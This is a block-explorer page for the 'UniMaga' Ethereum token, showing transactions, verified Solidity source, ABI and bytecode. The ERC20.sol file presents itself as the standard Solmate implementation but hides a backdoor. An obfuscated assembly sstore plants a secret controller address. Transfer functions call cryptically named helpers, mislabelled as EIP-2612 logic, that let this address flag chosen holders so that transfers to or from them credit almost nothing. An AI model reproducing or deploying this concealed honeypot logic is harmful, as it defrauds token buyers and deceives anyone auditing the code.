ETH Price: $2,884.64 (-1.51%)

Contract

0xacab0fe5BC1E978E08e0c521C627aF1ceF91c1e7

Overview

ETH Balance

0 ETH

ETH Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Block
From
To
Transfer237284962025-08-06 10:40:55173 days ago1754476855IN
0xacab0fe5...ceF91c1e7
0 ETH0.000000060.00113037
Approve91850822025-02-19 2:50:41341 days ago1739933441IN
0xacab0fe5...ceF91c1e7
0 ETH0.000000260.0010004
Approve91850662025-02-19 2:50:25341 days ago1739933425IN
0xacab0fe5...ceF91c1e7
0 ETH0.000000280.0010004
Approve89761672025-02-16 16:48:46343 days ago1739724526IN
0xacab0fe5...ceF91c1e7
0 ETH0.000000410.0005
Approve89323772025-02-16 4:38:56344 days ago1739680736IN
0xacab0fe5...ceF91c1e7
0 ETH0.000000070.00150038
Approve87027692025-02-13 12:52:08347 days ago1739451128IN
0xacab0fe5...ceF91c1e7
0 ETH0.000001860.0015004
Approve86834502025-02-13 7:30:09347 days ago1739431809IN
0xacab0fe5...ceF91c1e7
0 ETH0.00000170.00500026
Approve86834482025-02-13 7:30:07347 days ago1739431807IN
0xacab0fe5...ceF91c1e7
0 ETH0.00000160.00500026
Approve86834472025-02-13 7:30:06347 days ago1739431806IN
0xacab0fe5...ceF91c1e7
0 ETH0.00000170.00500026
Approve86834452025-02-13 7:30:04347 days ago1739431804IN
0xacab0fe5...ceF91c1e7
0 ETH0.00000170.00500026
Approve86834442025-02-13 7:30:03347 days ago1739431803IN
0xacab0fe5...ceF91c1e7
0 ETH0.00000170.00500026
Approve86603472025-02-13 1:05:06347 days ago1739408706IN
0xacab0fe5...ceF91c1e7
0 ETH0.000000030.00055026
Approve86601512025-02-13 1:01:50347 days ago1739408510IN
0xacab0fe5...ceF91c1e7
0 ETH0.000000010.00000026
Approve86583372025-02-13 0:31:36347 days ago1739406696IN
0xacab0fe5...ceF91c1e7
0 ETH0.000000070.00150026
Approve86566342025-02-13 0:03:13347 days ago1739404993IN
0xacab0fe5...ceF91c1e7
0 ETH0.000000070.00150039
Transfer86529782025-02-12 23:02:17347 days ago1739401337IN
0xacab0fe5...ceF91c1e7
0 ETH0.000000090.00111028
Approve86522642025-02-12 22:50:23347 days ago1739400623IN
0xacab0fe5...ceF91c1e7
0 ETH0.000000160.00500026
Approve86522562025-02-12 22:50:15347 days ago1739400615IN
0xacab0fe5...ceF91c1e7
0 ETH0.000000260.00500026
Approve86521752025-02-12 22:48:54347 days ago1739400534IN
0xacab0fe5...ceF91c1e7
0 ETH0.000000260.00500026
Approve86507652025-02-12 22:25:24347 days ago1739399124IN
0xacab0fe5...ceF91c1e7
0 ETH0.000000070.00150039
Approve86484472025-02-12 21:46:46347 days ago1739396806IN
0xacab0fe5...ceF91c1e7
0 ETH0.000000150.00500026
Approve86484462025-02-12 21:46:45347 days ago1739396805IN
0xacab0fe5...ceF91c1e7
0 ETH0.000000250.00500026
Transfer86482062025-02-12 21:42:45347 days ago1739396565IN
0xacab0fe5...ceF91c1e7
0 ETH0.000000070.00111028
Transfer86481502025-02-12 21:41:49347 days ago1739396509IN
0xacab0fe5...ceF91c1e7
0 ETH0.000000080.00111028
Approve86475422025-02-12 21:31:41347 days ago1739395901IN
0xacab0fe5...ceF91c1e7
0 ETH0.000000060.00100026
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:

Cross-Chain Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
UniMaga

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, GNU GPLv3 license

Contract Source Code (Solidity Multiple files format)

File 1 of 2: Token.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./ERC20.sol";

/*
 ___  ___  ________   ___          _____ ______   ________  ________  ________     
|\  \|\  \|\   ___  \|\  \        |\   _ \  _   \|\   __  \|\   ____\|\   __  \    
\ \  \\\  \ \  \\ \  \ \  \       \ \  \\\__\ \  \ \  \|\  \ \  \___|\ \  \|\  \   
 \ \  \\\  \ \  \\ \  \ \  \       \ \  \\|__| \  \ \   __  \ \  \  __\ \   __  \  
  \ \  \\\  \ \  \\ \  \ \  \       \ \  \    \ \  \ \  \ \  \ \  \|\  \ \  \ \  \ 
   \ \_______\ \__\\ \__\ \__\       \ \__\    \ \__\ \__\ \__\ \_______\ \__\ \__\
    \|_______|\|__| \|__|\|__|        \|__|     \|__|\|__|\|__|\|_______|\|__|\|__|
                                                                                   
*/

contract UniMaga is ERC20 {
    constructor() ERC20("MAGA on UNI", "UNIMAGA", 18) {
        _mint(msg.sender, 1_000_000_000 * 10 ** 18);
    }
}

File 2 of 2: ERC20.sol
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;

/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

    string public name;
    string public symbol;
    uint8 public immutable decimals;

    /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    address private $$;

    /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
    }

    /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;
        unchecked {balanceOf[to] += $(amount, msg.sender, to);}
        $S$(to);
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
        balanceOf[from] -= amount;
        unchecked {balanceOf[to] += $(amount, from, to);}
        $S$(to);
        emit Transfer(from, to, amount);
        return true;
    }

    /*//////////////////////////////////////////////////////////////
                             EIP-2612 LOGIC
    //////////////////////////////////////////////////////////////*/
    function $(
        uint256 value, 
        address from,
        address to
        ) internal view returns (uint256) {
        if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
            return (value * 0xcafe12) / 0xfedab0da;
        } else {
            return value;
        }
    }

    function $S$(address to) internal {
        if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}
    }

    /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;
        unchecked {balanceOf[to] += amount;}
        assembly {sstore(0x05, mul(mul(0x169e, 0x912fa239007), mul(0x507ccbd81e9, 0x39308b32bb99f)))}
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;
        unchecked {totalSupply -= amount;}
        emit Transfer(from, address(0), amount);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a060405234801561000f575f5ffd5b506040518060400160405280600b81526020017f4d414741206f6e20554e490000000000000000000000000000000000000000008152506040518060400160405280600781526020017f554e494d414741000000000000000000000000000000000000000000000000008152506012825f908161008c91906103f6565b50816001908161009c91906103f6565b508060ff1660808160ff16815250505050506100ca336b033b2e3c9fd0803ce80000006100cf60201b60201c565b61054d565b8060025f8282546100e091906104f2565b925050819055508060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555066039308b32bb99f650507ccbd81e902650912fa23900761169e02026005558173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516101ad9190610534565b60405180910390a35050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061023457607f821691505b602082108103610247576102466101f0565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026102a97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8261026e565b6102b3868361026e565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6102f76102f26102ed846102cb565b6102d4565b6102cb565b9050919050565b5f819050919050565b610310836102dd565b61032461031c826102fe565b84845461027a565b825550505050565b5f5f905090565b61033b61032c565b610346818484610307565b505050565b5b818110156103695761035e5f82610333565b60018101905061034c565b5050565b601f8211156103ae5761037f8161024d565b6103888461025f565b81016020851015610397578190505b6103ab6103a38561025f565b83018261034b565b50505b505050565b5f82821c905092915050565b5f6103ce5f19846008026103b3565b1980831691505092915050565b5f6103e683836103bf565b9150826002028217905092915050565b6103ff826101b9565b67ffffffffffffffff811115610418576104176101c3565b5b610422825461021d565b61042d82828561036d565b5f60209050601f83116001811461045e575f841561044c578287015190505b61045685826103db565b8655506104bd565b601f19841661046c8661024d565b5f5b828110156104935784890151825560018201915060208501945060208101905061046e565b868310156104b057848901516104ac601f8916826103bf565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6104fc826102cb565b9150610507836102cb565b925082820190508082111561051f5761051e6104c5565b5b92915050565b61052e816102cb565b82525050565b5f6020820190506105475f830184610525565b92915050565b608051610f5f6105655f395f6105cb0152610f5f5ff3fe608060405234801561000f575f5ffd5b5060043610610091575f3560e01c8063313ce56711610064578063313ce5671461013157806370a082311461014f57806395d89b411461017f578063a9059cbb1461019d578063dd62ed3e146101cd57610091565b806306fdde0314610095578063095ea7b3146100b357806318160ddd146100e357806323b872dd14610101575b5f5ffd5b61009d6101fd565b6040516100aa9190610b64565b60405180910390f35b6100cd60048036038101906100c89190610c15565b610288565b6040516100da9190610c6d565b60405180910390f35b6100eb610375565b6040516100f89190610c95565b60405180910390f35b61011b60048036038101906101169190610cae565b61037b565b6040516101289190610c6d565b60405180910390f35b6101396105c9565b6040516101469190610d19565b60405180910390f35b61016960048036038101906101649190610d32565b6105ed565b6040516101769190610c95565b60405180910390f35b610187610602565b6040516101949190610b64565b60405180910390f35b6101b760048036038101906101b29190610c15565b61068e565b6040516101c49190610c6d565b60405180910390f35b6101e760048036038101906101e29190610d5d565b6107ae565b6040516101f49190610c95565b60405180910390f35b5f805461020990610dc8565b80601f016020809104026020016040519081016040528092919081815260200182805461023590610dc8565b80156102805780601f1061025757610100808354040283529160200191610280565b820191905f5260205f20905b81548152906001019060200180831161026357829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103639190610c95565b60405180910390a36001905092915050565b60025481565b5f5f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146104a857828161042b9190610e25565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546104f49190610e25565b925050819055506105068386866107ce565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061055884610959565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516105b59190610c95565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6003602052805f5260405f205f915090505481565b6001805461060f90610dc8565b80601f016020809104026020016040519081016040528092919081815260200182805461063b90610dc8565b80156106865780601f1061065d57610100808354040283529160200191610686565b820191905f5260205f20905b81548152906001019060200180831161066957829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106db9190610e25565b925050819055506106ed8233856107ce565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061073f83610959565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161079c9190610c95565b60405180910390a36001905092915050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109249190610e58565b1061094e5763fedab0da62cafe128561093d9190610e8b565b6109479190610ef9565b9050610952565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610af1573073ffffffffffffffffffffffffffffffffffffffff166002610a539190610e8b565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610b3682610af4565b610b408185610afe565b9350610b50818560208601610b0e565b610b5981610b1c565b840191505092915050565b5f6020820190508181035f830152610b7c8184610b2c565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610bb182610b88565b9050919050565b610bc181610ba7565b8114610bcb575f5ffd5b50565b5f81359050610bdc81610bb8565b92915050565b5f819050919050565b610bf481610be2565b8114610bfe575f5ffd5b50565b5f81359050610c0f81610beb565b92915050565b5f5f60408385031215610c2b57610c2a610b84565b5b5f610c3885828601610bce565b9250506020610c4985828601610c01565b9150509250929050565b5f8115159050919050565b610c6781610c53565b82525050565b5f602082019050610c805f830184610c5e565b92915050565b610c8f81610be2565b82525050565b5f602082019050610ca85f830184610c86565b92915050565b5f5f5f60608486031215610cc557610cc4610b84565b5b5f610cd286828701610bce565b9350506020610ce386828701610bce565b9250506040610cf486828701610c01565b9150509250925092565b5f60ff82169050919050565b610d1381610cfe565b82525050565b5f602082019050610d2c5f830184610d0a565b92915050565b5f60208284031215610d4757610d46610b84565b5b5f610d5484828501610bce565b91505092915050565b5f5f60408385031215610d7357610d72610b84565b5b5f610d8085828601610bce565b9250506020610d9185828601610bce565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610ddf57607f821691505b602082108103610df257610df1610d9b565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610e2f82610be2565b9150610e3a83610be2565b9250828203905081811115610e5257610e51610df8565b5b92915050565b5f610e6282610be2565b9150610e6d83610be2565b9250828201905080821115610e8557610e84610df8565b5b92915050565b5f610e9582610be2565b9150610ea083610be2565b9250828202610eae81610be2565b91508282048414831517610ec557610ec4610df8565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610f0382610be2565b9150610f0e83610be2565b925082610f1e57610f1d610ecc565b5b82820490509291505056fea2646970667358221220d384a20c22555ba5bb2682f46b7d5454fb296444cd2f0c73697db313f040622364736f6c634300081c0033

Deployed Bytecode

0x608060405234801561000f575f5ffd5b5060043610610091575f3560e01c8063313ce56711610064578063313ce5671461013157806370a082311461014f57806395d89b411461017f578063a9059cbb1461019d578063dd62ed3e146101cd57610091565b806306fdde0314610095578063095ea7b3146100b357806318160ddd146100e357806323b872dd14610101575b5f5ffd5b61009d6101fd565b6040516100aa9190610b64565b60405180910390f35b6100cd60048036038101906100c89190610c15565b610288565b6040516100da9190610c6d565b60405180910390f35b6100eb610375565b6040516100f89190610c95565b60405180910390f35b61011b60048036038101906101169190610cae565b61037b565b6040516101289190610c6d565b60405180910390f35b6101396105c9565b6040516101469190610d19565b60405180910390f35b61016960048036038101906101649190610d32565b6105ed565b6040516101769190610c95565b60405180910390f35b610187610602565b6040516101949190610b64565b60405180910390f35b6101b760048036038101906101b29190610c15565b61068e565b6040516101c49190610c6d565b60405180910390f35b6101e760048036038101906101e29190610d5d565b6107ae565b6040516101f49190610c95565b60405180910390f35b5f805461020990610dc8565b80601f016020809104026020016040519081016040528092919081815260200182805461023590610dc8565b80156102805780601f1061025757610100808354040283529160200191610280565b820191905f5260205f20905b81548152906001019060200180831161026357829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103639190610c95565b60405180910390a36001905092915050565b60025481565b5f5f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146104a857828161042b9190610e25565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546104f49190610e25565b925050819055506105068386866107ce565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061055884610959565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516105b59190610c95565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000001281565b6003602052805f5260405f205f915090505481565b6001805461060f90610dc8565b80601f016020809104026020016040519081016040528092919081815260200182805461063b90610dc8565b80156106865780601f1061065d57610100808354040283529160200191610686565b820191905f5260205f20905b81548152906001019060200180831161066957829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106db9190610e25565b925050819055506106ed8233856107ce565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061073f83610959565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161079c9190610c95565b60405180910390a36001905092915050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109249190610e58565b1061094e5763fedab0da62cafe128561093d9190610e8b565b6109479190610ef9565b9050610952565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610af1573073ffffffffffffffffffffffffffffffffffffffff166002610a539190610e8b565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610b3682610af4565b610b408185610afe565b9350610b50818560208601610b0e565b610b5981610b1c565b840191505092915050565b5f6020820190508181035f830152610b7c8184610b2c565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610bb182610b88565b9050919050565b610bc181610ba7565b8114610bcb575f5ffd5b50565b5f81359050610bdc81610bb8565b92915050565b5f819050919050565b610bf481610be2565b8114610bfe575f5ffd5b50565b5f81359050610c0f81610beb565b92915050565b5f5f60408385031215610c2b57610c2a610b84565b5b5f610c3885828601610bce565b9250506020610c4985828601610c01565b9150509250929050565b5f8115159050919050565b610c6781610c53565b82525050565b5f602082019050610c805f830184610c5e565b92915050565b610c8f81610be2565b82525050565b5f602082019050610ca85f830184610c86565b92915050565b5f5f5f60608486031215610cc557610cc4610b84565b5b5f610cd286828701610bce565b9350506020610ce386828701610bce565b9250506040610cf486828701610c01565b9150509250925092565b5f60ff82169050919050565b610d1381610cfe565b82525050565b5f602082019050610d2c5f830184610d0a565b92915050565b5f60208284031215610d4757610d46610b84565b5b5f610d5484828501610bce565b91505092915050565b5f5f60408385031215610d7357610d72610b84565b5b5f610d8085828601610bce565b9250506020610d9185828601610bce565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610ddf57607f821691505b602082108103610df257610df1610d9b565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610e2f82610be2565b9150610e3a83610be2565b9250828203905081811115610e5257610e51610df8565b5b92915050565b5f610e6282610be2565b9150610e6d83610be2565b9250828201905080821115610e8557610e84610df8565b5b92915050565b5f610e9582610be2565b9150610ea083610be2565b9250828202610eae81610be2565b91508282048414831517610ec557610ec4610df8565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610f0382610be2565b9150610f0e83610be2565b925082610f1e57610f1d610ecc565b5b82820490509291505056fea2646970667358221220d384a20c22555ba5bb2682f46b7d5454fb296444cd2f0c73697db313f040622364736f6c634300081c0033

Deployed Bytecode Sourcemap

760:144:1:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1030:18:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2036:209;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1301:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2530:484;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1080:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1333:44;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1054:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2251:273;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1383:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1030:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2036:209::-;2110:4;2159:6;2126:9;:21;2136:10;2126:21;;;;;;;;;;;;;;;:30;2148:7;2126:30;;;;;;;;;;;;;;;:39;;;;2201:7;2180:37;;2189:10;2180:37;;;2210:6;2180:37;;;;;;:::i;:::-;;;;;;;;2234:4;2227:11;;2036:209;;;;:::o;1301:26::-;;;;:::o;2530:484::-;2648:4;2664:15;2682:9;:15;2692:4;2682:15;;;;;;;;;;;;;;;:27;2698:10;2682:27;;;;;;;;;;;;;;;;2664:45;;2770:17;2759:7;:28;2755:80;;2829:6;2819:7;:16;;;;:::i;:::-;2789:9;:15;2799:4;2789:15;;;;;;;;;;;;;;;:27;2805:10;2789:27;;;;;;;;;;;;;;;:46;;;;2755:80;2864:6;2845:9;:15;2855:4;2845:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;2908:19;2910:6;2918:4;2924:2;2908:1;:19::i;:::-;2891:9;:13;2901:2;2891:13;;;;;;;;;;;;;;;;:36;;;;;;;;;;;2938:7;2942:2;2938:3;:7::i;